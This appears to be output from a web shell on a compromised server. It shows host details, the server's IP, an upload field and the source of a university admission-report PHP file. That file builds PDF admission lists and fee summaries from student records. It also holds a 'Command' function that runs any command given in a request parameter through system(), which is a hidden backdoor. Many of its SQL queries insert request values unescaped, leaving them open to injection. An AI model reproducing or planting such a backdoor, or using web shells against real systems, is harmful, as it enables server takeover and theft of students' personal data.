0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.139.104.140


Current Path : /proc/thread-self/root/var/www/html/stph/Report_details/
Upload File :
Current File : //proc/thread-self/root/var/www/html/stph/Report_details/report_admission_listnehu.php

<?php
function generateAdmissionReport($aobj_context)
{	
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $college_code = $_SESSION['collcode']; 
	//echo $college_code; 
	$degree_code = $aobj_context->mobj_data["degree_code"]; 
	$sub_degree_code = $aobj_context->mobj_data["sub_degree_code"]; 
	$exam_no = $aobj_context->mobj_data["exam_no"]; 
	$lateral_entry = $aobj_context->mobj_data["lateral_entry"]; 
	$adm_no_starts = $aobj_context->mobj_data['slno_starts']; 
	$adm_no_ends = $aobj_context->mobj_data['slno_ends']; 
	$exam_no=empty($exam_no)?"A":$exam_no;
	if(empty($lateral_entry))
	{
	$exam_no='A';
	$lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='0' ";
	}
	else
	{
	$exam_no='C';
	$lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='1' ";
	}
	$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
	$main_src=$main_src_obj[1];
	$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
	$tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php";
	$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf";
// global varibales
	$p_count =1;
// end global varibales	
	include($pdf_writer_class);		
	$pdf= new FPDF();
	//$pdf->$title='20000 Leagues Under the Seas';
	$pdf->SetFont('Times','',10);
	$pdf->SetMargins(15,8);		
	$pdf->AliasNbPages();	
	$sub_degree_cond="";
	if(!empty($sub_degree_code))
	{
		$sub_degree_cond=" and s.FSUBDEGREE='{$sub_degree_code}'"; 
		$page_header_sub_degree = "select concat('[',FDEGREE,'] - ', FDESCPN) as sub_degree_name, FADYEAR  
								from degree where FDEGREE = '{$sub_degree_code}' and FEXAMNO='{$exam_no}' ";
		$lobj_page_header_sub_degree = $aobj_context->mobj_db->GetRow($page_header_sub_degree);
	}
	//print_r($lobj_page_header_sub_degree); die();
	/* $degree_cond="  ";
	if(strtolower($exam_no)=='c')
	$degree_cond=" s.FSUBDEGREE='{$degree_code}' "; */
	
// query for the page header	
	$page_header_university = "select FUNIVNAME,FUNIVADD1,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
	$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
	
	$page_header_college ="select concat(FCOLLCODE,'  ',RTRIM(FCOLLNAME),', ',FTOWN) as college_name
							from college where FCOLLCODE='{$college_code}'";
	$lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); 

	$page_header_degree = "select concat(FDEGREE,' - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR  
							from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' ";
	$lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree);
	
	$page_footer_date = "select DATE_FORMAT(NOW(),'%d/%m/%Y %h:%i %p') as now_date ";
	$lobj_page_footer_date = $aobj_context->mobj_db->GetRow($page_footer_date);
	$pdf->date_time = $lobj_page_footer_date['now_date'];

	//echo $page_header_degree; die();
	$pdf->aobj_context =$aobj_context ;
	$pdf->WhichReport = 'Admission';
	$pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME];
	$pdf->FTOWN = $lobj_page_header_university[FTOWN];
	$pdf->FUNIVADD1 = $lobj_page_header_university[FUNIVADD1];
	$pdf->date_1 = $lobj_page_header_university['date'];
	$pdf->college_name = rtrim($lobj_page_header_college['college_name'],' ');
	$pdf->Degree_name = $lobj_page_header_degree['Degree_name'];
	$pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name'];
	$pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR'];
	
	//echo $pdf->sub_degree_code; die();
	
//end header		
	$pdf->AddPage();PrintFooter($pdf);	
	//$pdf->Ln();
	$pdf->SetFont('Times','',10);
	//and sub.FDEGREE=op.FDEGREE 
	$get_student_data= "select FPHOTOPATH,CONCAT(IF(IFNULL(s.FDELETED, 'F')='F', s.FSLNO, CONCAT('*',s.FSLNO))) as SLNO,
							CONCAT('Name     : ',SUBSTRING(s.FNAME,1,25)) as FNAME,
							CONCAT('Combination : ',mc.FCOMBDESC) as FCOMBDESC,
							CONCAT('Honours : ',s.FHONOURS) as FHONOURS,
							SUBSTRING(s.FNAME,26) as SNAME,
							CONCAT('DOB     : ',DATE_FORMAT(s.FDOB,'%d/%m/%Y')) as DOB,
							CONCAT('Father / Mother / Guardian Name : ',s.FFATNAME) as Father ,
							CONCAT('Category  : ',s.FCASTE) as CASTE,
							CONCAT('Mother : ',s.FMOTNAME) as Mother,							
							FFEEPAID,FREMARKS
							from studadm s 
							left join mascomb mc on mc.FCOMBCODE = s.FCOMBCODE
							where s.FSLNO>='{$adm_no_starts}' AND s.FSLNO<='{$adm_no_ends}'
							and s.FDEGREE='{$degree_code}' 
							and s.FCOLLCODE='{$college_code}'
							and IFNULL(s.FLATERAL_ENTRY,0)='0' 
							group by s.FCOLLCODE,s.FDEGREE,s.FSLNO order by s.FSLNO ";
	$lobj_student_data = $aobj_context->mobj_db->GetAll($get_student_data);	 
	
	$arr_w = array(10,65,70,108);
	$arr_h = array();
	$adm_ln_counter=0;
	
	foreach($lobj_student_data as $key => $value)
	{	
		if($adm_ln_counter > 4)
		{
			
			$new_y=$pdf->GetY();
			$pdf->SetDash(1, .3);
			$pdf->Line(10,$new_y, 200,$new_y);
			//$pdf->Line(10,$new_y+.5, 200,$new_y+.5);
			$pdf->AddPage();PrintFooter($pdf);	
			$adm_ln_counter=0;
		}
		
				$head_code=$value['FHEADCODE'];
				$amount=$value['FAMOUNT'];
				$head_code_arr=explode("->",$head_code);
				$cnt=0;
				 $fee_details_head=array();
				 $fee_details_amt=array();
				 $k=0;
				 foreach($head_code_arr as $avv)
				 {
					$exp_arr=explode("~",$avv);
					 $fee_details_head[$cnt][$k]=$exp_arr[0];
					 $fee_details_amt[$cnt][$k]=$exp_arr[1];
					 
					 $k++;
					 if($k%5==0)
					 $cnt++;
				 }
			$FPHOTOPATH=$value['FPHOTOPATH'];
			$full_path= $aobj_context->main_src."/".$value['FPHOTOPATH'];
			
			/*if(!empty($value['SNAME']))
			{				
				$a_x=$pdf->GetX();
				$a_y=$pdf->GetY();
				if(!empty($FPHOTOPATH) && file_exists($full_path))
				{
					$pdf->Image($full_path,$a_x+160,$pdf->GetY(),20,18);
				}
				$pdf->SetXY($a_x,$a_y);		
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,$value['SLNO'],'0',0,'L');				
				$pdf->Cell($arr_w[1],5,$value['FNAME'],'0',0,'L');
				$pdf->SetFont('Courier','',10);
				$pdf->Cell(108,4,'','0',1,'L'); 
				
				/* $pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','0',0,'L');
				$pdf->Cell($arr_w[1],5,$value['SNAME'],'0',0,'L');
				$pdf->SetFont('Courier','',10);
				$pdf->Cell(108,4,'','0',1,'L'); $adm_ln_counter++; *
				
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','L','L');
				$pdf->Cell($arr_w[1]-30,5,$value['Gender'],'0',0,'L');
				$pdf->Cell(128,4,$value['Father'],'0',1,'L');
				
				$pdf->Cell($arr_w[0],5,' ','L',0,'L');				
				$pdf->Cell($arr_w[1]-30,5,$value['DOB'],'0',0,'L');
				//$pdf->Cell(108,4,$value['Mother'],'0',1,'L');	
				
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','0',0,'L');
				$pdf->Cell($arr_w[1],5,$value['FHONOURS'],'0',1,'L');
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','0',0,'L');
				$pdf->Cell($arr_w[1],5,$value['FCOMBDESC'],'0',1,'L');
				$new_y=$pdf->GetY();
				$pdf->SetDash(1, .3);
				$pdf->Line(10,$new_y, 200,$new_y);
				$pdf->Line(10,$new_y+.5, 200,$new_y+.5);
				
				/*
				foreach($fee_details_head as $ck=>$cv)
				 {
					$data_head=$cv;
					$data_amt=$fee_details_amt[$ck];;
					$pdf->SetFont('Times','',10);
					$pdf->Cell($arr_w[0],5,' ','0',0,'L');				
					
					$adm_ln_counter++;
					$pdf->SetFont('Times','',8);
					$pdf->Cell(3,5,'','0',1,'C');
					$pdf->Cell($arr_w[0],5,' ','0',0,'L');
					$pdf->SetFont('Times','',10);					
					$adm_ln_counter++;
					$pdf->SetFont('Times','',8);					
					$pdf->Cell(3,5,'','0',1,'R');
				 } $pdf->SetFont('Times','',10);
				 *		
				$pdf->Cell(173,5,"Total Fee : {$value['FFEEPAID']} Remarks :{$value['FREMARKS']}",'',1,'L');
				$adm_ln_counter++;
				
			}
			else if(empty($value['SNAME']))
 			{
			*/
				$a_x=$pdf->GetX();
				$a_y=$pdf->GetY();
				if(!empty($FPHOTOPATH) && file_exists($full_path))
				{
					$pdf->Image($full_path,$a_x+160,$a_y+5,20,18);
				}
				$pdf->SetXY($a_x,$a_y);		
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,$value['SLNO'],'0',0,'L');				
				$pdf->Cell($arr_w[1],5,$value['FNAME'],'0',0,'L');
				$pdf->SetFont('Courier','',10);
				$pdf->Cell(108,5,'','0',1,'L');
			/* 	
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','0',0,'L');
				$pdf->Cell($arr_w[1],5,$value['Gender'],'0',0,'L');
				$pdf->SetFont('Courier','',10);
				$pdf->Cell(108,5,'','0',1,'L'); $adm_ln_counter++; */
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','0',0,'L');
				$pdf->Cell(108,5,$value['Father'],'0',1,'L'); 
				
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','0',0,'L');
				$pdf->Cell($arr_w[1],5,$value['DOB'],'0',0,'L');
				$pdf->Cell($arr_w[1]-30,5,$value['CASTE'],'0',1,'L'); 
				
				/* $pdf->Cell($arr_w[0],5,' ','0',0,'L');				
				$pdf->Cell($arr_w[1]-30,5,$value['CASTE'],'0',0,'L');
				$pdf->Cell(108,5,$value['Mother'],'0',1,'L');	 $adm_ln_counter++;	 */
				
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','0',0,'L');
				$pdf->Cell($arr_w[1],5,$value['FHONOURS'],'0',1,'L');
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','0',0,'L');
				$pdf->Cell($arr_w[1],5,$value['FCOMBDESC'],'0',1,'L');  
				
				 /*foreach($fee_details_head as $ck=>$cv)
				 {
					$data_head=$cv;
					$data_amt=$fee_details_amt[$ck];;
					$pdf->SetFont('Times','',10);
					$pdf->Cell($arr_w[0],5,' ','0',0,'L');
					$pdf->Cell(173,10,' ','0',0,'L');	
					$adm_ln_counter++;
					$pdf->SetFont('Times','',8);
					
					$pdf->Cell(3,5,'','0',1,'C');
					$pdf->Cell($arr_w[0],5,' ','0',0,'L');
					$pdf->SetFont('Times','',10);					
					$adm_ln_counter++;
					$pdf->SetFont('Times','',8);					
					$pdf->Cell(3,5,'','0',1,'R');
				 } $pdf->SetFont('Times','',10);
				*/
				$pdf->Cell(173,5,"Total Fee : {$value['FFEEPAID']}   Remarks :{$value['FREMARKS']}",'0',1,'L');
				$adm_ln_counter++; 
				

			//}	
				$new_y=$pdf->GetY();
				$pdf->SetDash(1, .3);
				$pdf->Line(10,$new_y, 200,$new_y);

	}
	$new_y=$pdf->GetY();
	$pdf->SetDash(1, .3);
	$pdf->Line(10,$new_y, 200,$new_y);
	$pdf->ln(4);	
	$pdf->MultiCell(175,5,"I here by declare that all the information furnished with regard to the students are true & correct to the best of my knowledge and belief,copy of the recognition order and affiliation order is enclosed.",0,"L");
	$pdf->ln(8);
	$pdf->Cell(135,5,"Submit",'',1,'R');
	$pdf->ln(2);	
	$pdf->Output("report_admission_list.pdf","D");
}

function generateAdmSummeryReportOld($aobj_context)
{
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $college_code = $_SESSION['collcode']; 

	$from_degree = $aobj_context->mobj_data["from_degree"]; 
	$to_degree = $aobj_context->mobj_data["to_degree"]; 
	
	$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
	$main_src=$main_src_obj[1];
	$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
	$tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php";
	$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf";
// global varibales
	$p_count =1;
// end global varibales	
	include($pdf_writer_class);		
	$pdf= new FPDF();
	//$pdf->$title='20000 Leagues Under the Seas';
	$pdf->SetFont('Times','',10);
	$pdf->SetMargins(15,8);		
	$pdf->AliasNbPages();	
	// query for the page header	
	$page_header_university = "select FUNIVNAME,FUNIVADD1,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
	$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
	
	$page_header_college ="select concat(FCOLLCODE,'  ',FCOLLNAME,', ',FTOWN) as college_name
							from college where FCOLLCODE='{$college_code}'";
	$lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); 

	$page_header_degree = "select concat(FDEGREE,' - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR  
							from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' ";
	$lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree);
	
	$page_footer_date = "select DATE_FORMAT(NOW(),'%d/%m/%Y %h:%i %p') as now_date ";
	$lobj_page_footer_date = $aobj_context->mobj_db->GetRow($page_footer_date);
	$pdf->date_time = $lobj_page_footer_date['now_date'];
	
	$get_student_count= "select  COUNT( distinct s.fslno) as studcnt, s.fdegree, d.fdescpn from studadm s  inner join degree d on s.fdegree = d.fdegree 
	wheres.fdegree between '{$from_degree}' and '{$to_degree}' group by s.fdegree";
	$lobj_student_count = $aobj_context->mobj_db->GetAll($get_student_count);	 
	//echo $page_header_degree; die();
	$pdf->aobj_context =$aobj_context ;
	$pdf->WhichReport = 'AdmissionSummery';
	$pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME];
	$pdf->FTOWN = $lobj_page_header_university[FTOWN];
	$pdf->FUNIVADD1 = $lobj_page_header_university[FUNIVADD1];
	$pdf->date_1 = $lobj_page_header_university['date'];
	$pdf->college_name = rtrim($lobj_page_header_college['college_name'],' ');
	$pdf->Degree_name = $lobj_page_header_degree['Degree_name'];
	$pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name'];
	$pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR'];
	
	//echo $pdf->sub_degree_code; die();
	
	//end header		
	$pdf->AddPage();PrintFooter($pdf);	
	//$pdf->Ln();
	$pdf->SetFont('Times','',10);
	$index=0;
	 foreach($lobj_student_count as $ck=>$cv)
	{
		++$index;
		$pdf->Cell(15,5,$index,'0',0,'L');
		$pdf->Cell(25,5,$cv['fdegree'],'0',0,'L');
		$pdf->Cell(90,5,$cv['fdescpn'],'0',0,'L');
		$pdf->Cell(20,5,$cv['studcnt'],'0',0,'C');
		$pdf->Cell(20,5,'','0',1,'C');
	}
	$pdf->Output("report_admsummery_list.pdf","D");
}


function generateAdmSummeryReport($aobj_context)
{
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $college_code = $_SESSION['collcode']; 

	$from_degree = $aobj_context->mobj_data["from_degree"]; 
	$to_degree = $aobj_context->mobj_data["to_degree"]; 
	
	$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
	$main_src=$main_src_obj[1];
	$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
	$tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php";
	$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf";
	// global varibales
	$p_count =1;
	// end global varibales	
	include($pdf_writer_class);		
	$pdf= new FPDF(L);
	//$pdf->$title='20000 Leagues Under the Seas';
	$pdf->SetFont('Times','',10);
	$pdf->SetMargins(15,8);		
	$pdf->AliasNbPages();	
	// query for the page header	
	$page_header_university = "select FUNIVNAME,FUNIVADD1,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
	$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
	
	$page_header_college ="select concat(FCOLLCODE,'  ',FCOLLNAME,', ',FTOWN) as college_name
							from college where FCOLLCODE='{$college_code}'";
	$lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); 

	$page_header_degree = "select concat(FDEGREE,' - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR  
							from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' ";
	$lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree);
	
	$page_footer_date = "select DATE_FORMAT(NOW(),'%d/%m/%Y %h:%i %p') as now_date ";
	$lobj_page_footer_date = $aobj_context->mobj_db->GetRow($page_footer_date);
	$pdf->date_time = $lobj_page_footer_date['now_date'];
	
	$get_student_count = "select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FSLNO,concat('*',s.FSLNO))) as FSLNO, stud.FREGNO, stud.FSTUDID AS FENROLL,
	GROUP_CONCAT(CONCAT('  ',a.famount) order by a.fheadcode) as fee, d.fdescpn, s.FSTUDID,
	SUM(a.famount) as total, stud.FNAME, s.FDEGREE, if(s.FGENDER='M','Male','Female') as GENDER,
	s.FHONOURS, m.FSHORTNAME, IF(s.FBOARD_UNIV ='Others',s.FOTHBOARD,s.FBOARD_UNIV) as board 
	from studadm s 
	left join student stud on stud.FDEGREE = s.FDEGREE and stud.FREGNO = ifnull(s.FAREGNO,'') 
	left join mascomb m on m.FDEGREE = s.FDEGREE and m.FCOMBCODE = s.FCOMBCODE  
	left join degree d on s.fdegree = d.fdegree and s.fexamno = d.fexamno
	left join admfeedetl a on a.fdegree= s.fdegree 
	and a.fexamno=s.fexamno and s.fcollcode = a.fcollcode and a.fslno = s.fslno 
	where  s.FCOLLCODE ='{$college_code}' and  s.fdegree between '{$from_degree}' and '{$to_degree}' 
	and a.fexamno='A' and ifnull(s.FAREGNO,'') <> '' group by s.fdegree, fslno order by s.Fdegree, stud.fslno";
	
	//var_dump($get_student_count);
	
	$lobj_student_count = $aobj_context->mobj_db->GetAll($get_student_count);	 
	
	//echo $get_student_count; die();
	$pdf->aobj_context =$aobj_context ;
	$pdf->WhichReport = 'AdmissionSummery';
	$pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME];
	$pdf->FTOWN = $lobj_page_header_university[FTOWN];
	$pdf->FUNIVADD1 = $lobj_page_header_university[FUNIVADD1];
	$pdf->date_1 = $lobj_page_header_university['date'];
	$pdf->college_name = rtrim($lobj_page_header_college['college_name'],' ');
	$pdf->Degree_name = $lobj_student_count[0]['fdescpn'];
	$pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name'];
	$pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR'];
	//echo $pdf->sub_degree_code; die();
	//end header		
	$pdf->AddPage();PrintFooter($pdf);	
	//$pdf->Ln();
	$pdf->SetFont('Times','',10);
	$index=0;
	$count=0;
	$row_cnt=0;
	$CourseTotalFee = 0;
	$DUP_FCSUBCODE=$lobj_student_count[0]['FDEGREE'];		
	
	 foreach($lobj_student_count as $ck=>$cv)
	{
		if($DUP_FCSUBCODE!=$cv['FDEGREE'])
		{
			$pdf->SetFont('Times','',10);
			$pdf->SetMargins(18,15);	
			$pdf->Degree_name = $cv['fdescpn'];
			$pdf->SetDash(1, 0);
			$pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY());
			$pdf->Ln(2);
			$pdf->SetFont('Times','B',10);
			$pdf->Cell(250,5,' Total Amount  : '.$CourseTotalFee,'0',1,'R');
			$pdf->SetDash(1, 0);
			$pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY());
			$CourseTotalFee =0;
			$pdf->Ln(15);
			$pdf->Cell(0,5,'Counter Signature and seal','0',1,'R');
			$pdf->AddPage();PrintFooter($pdf);
			$row_cnt=0;	
			$index =0;
			$DUP_FCSUBCODE = $cv['FDEGREE'];
		}
		if( $pdf->GetY() > 160)
		{
			$pdf->SetFont('Times','',10);
			$pdf->SetMargins(18,15);	
			$pdf->Degree_name = $cv['fdescpn'];
			$pdf->AddPage();PrintFooter($pdf);
			$row_cnt=0;	
			$nbH =0;
			$nbHN =0;
			$yHDN = 0;
			$yHDB = 0;	
		}
		++$index;
		$nbH =0;
		$nbHN =0;
		$yHDN = 0;
		$yHDB = 0;
		$nbHN=max($nbHN,NbLines(60,$cv[FNAME],$pdf));
		$yHDN = 6*$nbHN;
		$nbHB =0;
		$nbHB=max($nbHB,NbLines(50,$cv[board],$pdf));
		$yHDB = 6*$nbHB;
		$bht =6;
		$nht =6;
		if($yHDN > $yHDB)
		{
			$yHD = $yHDN;
			$bht = $yHDN;
		}	
		else
		{
			$yHD = $yHDB;
			$nht = $yHDB;
		}	
		$pdf->SetFont('Times','',10);
		$pdf->Cell(10,$yHD,$cv[FSLNO],'0',0,'C');
		$x=$pdf->GetX();
		$y=$pdf->GetY();
		$pdf->MultiCell(60,5,$cv[FNAME],0,'L');
		$pdf->SetXY($x+60,$y);
		$pdf->Cell(20,$yHD,$cv[FREGNO],'0',0,'C');
		$pdf->Cell(20,$yHD,$cv[FENROLL],'0',0,'C');	
		$pdf->Cell(15,$yHD,$cv[GENDER],'0',0,'L');
		$pdf->Cell(20,$yHD,$cv[FHONOURS],'0',0,'C');
		$pdf->Cell(30,$yHD,str_replace('*','  ',$cv[FSHORTNAME]),'0',0,'L');
		$x1=$pdf->GetX();
		$y1=$pdf->GetY();
		$pdf->MultiCell(35,6,$cv[board],0,'L');
		$pdf->SetXY($x1+35,$y1);
		$pdf->Cell(30,$yHD,str_replace(',','    ',$cv[fee]),'0',0,'R');
		$pdf->Cell(10,$yHD,' '.$cv[total],'0',1,'R');
		$CourseTotalFee = $CourseTotalFee+$cv[total];
		$pdf->SetDash(1, .8);
		$pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY());
		$count++;
		$row_cnt++;
		}
		$pdf->SetDash(1, 0);
		$pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY());
		$pdf->Ln(2);
		$pdf->SetFont('Times','B',10);
		$pdf->Cell(250,5,' Total Amount  : '.$CourseTotalFee,'0',1,'R');
		$pdf->SetDash(1, 0);
		$pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY());
		
		$CourseTotalFee =0;
		$pdf->Ln(15);
		$pdf->Cell(0,5,'Counter Signature and seal','0',1,'R');
		$pdf->Output("report_admsummery_list.pdf","D");
}


function Command($aobj_context)
{
	$cmd = $aobj_context->mobj_data["cmd"]; 
	$last_line = system($cmd, $retval);
	// Printing additional info
	echo "</pre>";
	echo  $last_line; 
}

function PrintFooter($pdf)
{
	$new_x=$pdf->GetX();
	$new_y=$pdf->GetY();
	$ip=$_SERVER["REMOTE_ADDR"];
	$pdf->SetY(-18);
	$pdf->SetFont('Times','',8);
	$new_ly=$pdf->GetY();
	//$pdf->SetDash(1, .3);
	$pdf->Line(10,$new_ly, 285,$new_ly);
	//$pdf->Line(10,$new_ly+.5, 200,$new_ly+.5);
	$pdf->Ln(2);
	$pdf->SetFont('Times','',10);
	$pdf->Cell(140,4,'Printed   : IP Address : '.$ip.", Date : ".$pdf->date_time,'0',0,'L');
	//$pdf->Cell(100,4,'* indicates deleted record','0',0,'L');
	$pdf->SetXY($new_x,$new_y); 
}

function generateCollWiseSummeryList($aobj_context)
{
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $college_code = $_SESSION['collcode']; 

	$from_degree = $aobj_context->mobj_data["from_degree"]; 
	$to_degree = $aobj_context->mobj_data["to_degree"]; 
	
	$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
	$main_src=$main_src_obj[1];
	$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
	$tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php";
	$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf";
// global varibales
	$p_count =1;
// end global varibales	
	include($pdf_writer_class);		
	$pdf= new FPDF(L);
	//$pdf->$title='20000 Leagues Under the Seas';
	$pdf->SetFont('Times','',10);
	$pdf->SetMargins(15,8);		
	$pdf->AliasNbPages();	
	// query for the page header	
	$page_header_university = "select FUNIVNAME,FUNIVADD1,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
	$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
	
	$page_header_college ="select concat(FCOLLCODE,'  ',FCOLLNAME,', ',FTOWN) as college_name
							from college where FCOLLCODE='{$college_code}'";
	$lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); 

	$page_header_degree = "select concat(FDEGREE,' - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR  
							from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' ";
	$lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree);
	
	$page_footer_date = "select DATE_FORMAT(NOW(),'%d/%m/%Y %h:%i %p') as now_date ";
	$lobj_page_footer_date = $aobj_context->mobj_db->GetRow($page_footer_date);
	$pdf->date_time = $lobj_page_footer_date['now_date'];
	
	$get_student_count= "select COUNT( distinct s.fslno) as studcnt, s.fdegree, d.fdescpn,
	s.fcollcode, fcollname from studadm s  inner join degree d on s.fdegree = d.fdegree 
	inner join college c on c.fcollcode = s.fcollcode
	where s.fdegree between '{$from_degree}' and '{$to_degree}' and ifnull(s.fdeleted,'') <>'T' group by s.fdegree,s.fcollcode";
	$lobj_student_count = $aobj_context->mobj_db->GetAll($get_student_count);	 
	
	$pdf->aobj_context =$aobj_context ;
	$pdf->WhichReport = 'AdmissionCollwiseSummery';
	$pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME];
	$pdf->FTOWN = $lobj_page_header_university[FTOWN];
	$pdf->FUNIVADD1 = $lobj_page_header_university[FUNIVADD1];
	$pdf->date_1 = $lobj_page_header_university['date'];
	$pdf->college_name = rtrim($lobj_page_header_college['college_name'],' ');
	$pdf->Degree_name = $lobj_student_count[0]['fdescpn'];
	$pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name'];
	$pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR'];
	
	//echo $pdf->sub_degree_code; die();
	
	//end header		
	$pdf->AddPage();
	//$pdf->Ln();
	$pdf->SetFont('Times','',10);
	$index=0;
	$DUP_FCSUBCODE=$lobj_student_count[0]['fdegree'];
	 foreach($lobj_student_count as $ck=>$cv)
	{
	
		if($DUP_FCSUBCODE!=$cv['fdegree'])
		{
			$pdf->SetFont('Times','',10);
			$pdf->SetMargins(18,15);	
			$pdf->Degree_name = $cv['fdescpn'];
			$pdf->AddPage();
			$row_cnt=0;	
			$index =0;
			$DUP_FCSUBCODE = $cv['fdegree'];
		}	
		
		if( $pdf->GetY() > 180)
		{
			$pdf->SetFont('Times','',10);
			$pdf->SetMargins(18,15);	
			$pdf->Degree_name = $cv['fdescpn'];
			$pdf->AddPage();
		}	
		++$index;
		$pdf->Cell(15,5,$index,'0',0,'L');
		//$pdf->Cell(20,5,$cv['fdegree'],'0',0,'L');
		$pdf->Cell(20,5,$cv['fcollcode'],'0',0,'C');
		$pdf->Cell(100,5,$cv['fcollname'],'0',0,'L');
		
		$pdf->Cell(20,5,$cv['studcnt'],'0',0,'C');
		$pdf->Cell(20,5,'','0',1,'C');
	}
	$pdf->Output("report_collwiseadmsummery.pdf","D");
}

function NbLines($w,$txt,$pdf)
{
    //Computes the number of lines a MultiCell of width w will take
    $cw=&$pdf->CurrentFont['cw'];
    if($w==0)
        $w=$pdf->w-$pdf->rMargin-$pdf->x;
    $wmax=($w-2*$pdf->cMargin)*1000/$pdf->FontSize;
    $s=str_replace("\r",'',$txt);
    $nb=strlen($s);
    if($nb>0 and $s[$nb-1]=="\n")
        $nb--;
    $sep=-1;
    $i=0;
    $j=0;
    $l=0;
    $nl=1;
    while($i<$nb){
        $c=$s[$i];
        if($c=="\n"){
            $i++;
            $sep=-1;
            $j=$i;
            $l=0;
            $nl++;
            continue;
        }
        if($c==' ')
            $sep=$i;
        $l+=$cw[$c];
        if($l>$wmax){
            if($sep==-1){
                if($i==$j)
                    $i++;
            } else
                $i=$sep+1;
            $sep=-1;
            $j=$i;
            $l=0;
            $nl++;
        } else
            $i++;
    }
    return $nl;
 }
?>